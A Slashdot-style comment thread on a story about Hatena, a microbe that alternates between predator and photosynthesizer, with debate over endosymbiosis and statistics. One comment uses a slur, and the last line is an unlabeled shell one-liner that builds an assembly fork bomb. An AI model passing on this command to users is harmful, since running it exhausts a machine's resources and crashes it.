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Unicellular "Enigma" Changes From Predator To Plant and Back
SilverEar writes "Imagine a creature that swims and preys on others, but once it eats a certain kind of plant, that plant grows inside it, causing the predator to lose its ability to prey and start using sunlight to make its food. Its preying mouth is replaced by an eye that is needed to find sunlight. This is the Hatena ('enigma' in Japanese). The kicker: when Hatena reproduces, one offspring is a peaceful photosynthesizer with the sun-seeking eye, while the other is yet again a predator with a voracious mouth."
Definitely an interesting result. The original article is published in Science. A free abstract can be found here.
http://en.wikipedia.org/wiki/Cordyceps_sinensis , albeit multicellular, is also somewhat astonishing
For all those interested, Scientific American has the story.
This is similar to the statement that says correlation does not equal causation. Just because I have brown hair and someone across the country also has brown hair and many other similarities doesn't mean both of us are related. At least they called it a "hypothesis" instead of forcing us to accept it as verified fact.
0) The claim of relatedness is based on a rigorous mathematical theory based on the theory of common descent, graph theory and Levenshtein distance. No competent mathematician in the world objects to these methods.
1) Slashbots are fucking retarded on the subject of statistics, and cannot wrap their puny minds around the concept of Bayesian inference. You better believe correlation God damn CAN show causation in some cases.
Doesn't happen -- they're endosymbionts. Without chloroplasts/mitochondria regular plant/animal cells can't function -- no electron transport chain. That's why people with mitochondrial myopathy are sick, as their mitochondria don't work properly so they don't make enough ATP.
The chloroplasts/mitochondria have outsourced amino acid production (among other things), so without the host, they can't survive.
Correlation is not equal to causation; it is only a requirement for it
"Hatena" doesn't really mean "enigma". It's actually an interjection, and a more accurate translation would be something like "Weird!" or "Oh man!".
What on earth are you talking about? Do you even know what you are saying? Are you implying that plants are not eukaryotic? What the hell do you mean by "evolve"? Why would it have genes for producing an eye if it was regarded as an infection? Gods damn you!! It's sad that I am the only person here that recognizes you have just used biology jargon and pokemon logic to explain this.
Plants w/o chloroplasts. I remember something from biology where they keep some corn alive that is hybrid for a critical gene--if missing the chloroplasts don't divide. If self-crossed, one-fourth of the corn is albino and dies as soon as it runs out of stored energy in the seed.
However, see Indian Pipe for a plant that doesn't have chloroplasts.
It's a bacteria with a parasite that radically alters the host's "body" chemistry, and one of the daughter cells will inherit the parasite. And I presume that daughter cell will spawn a similar pair at the next mitosis division. I see no changing of species here.
Except at that point it will be morally acceptable for vegetarians to eat them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;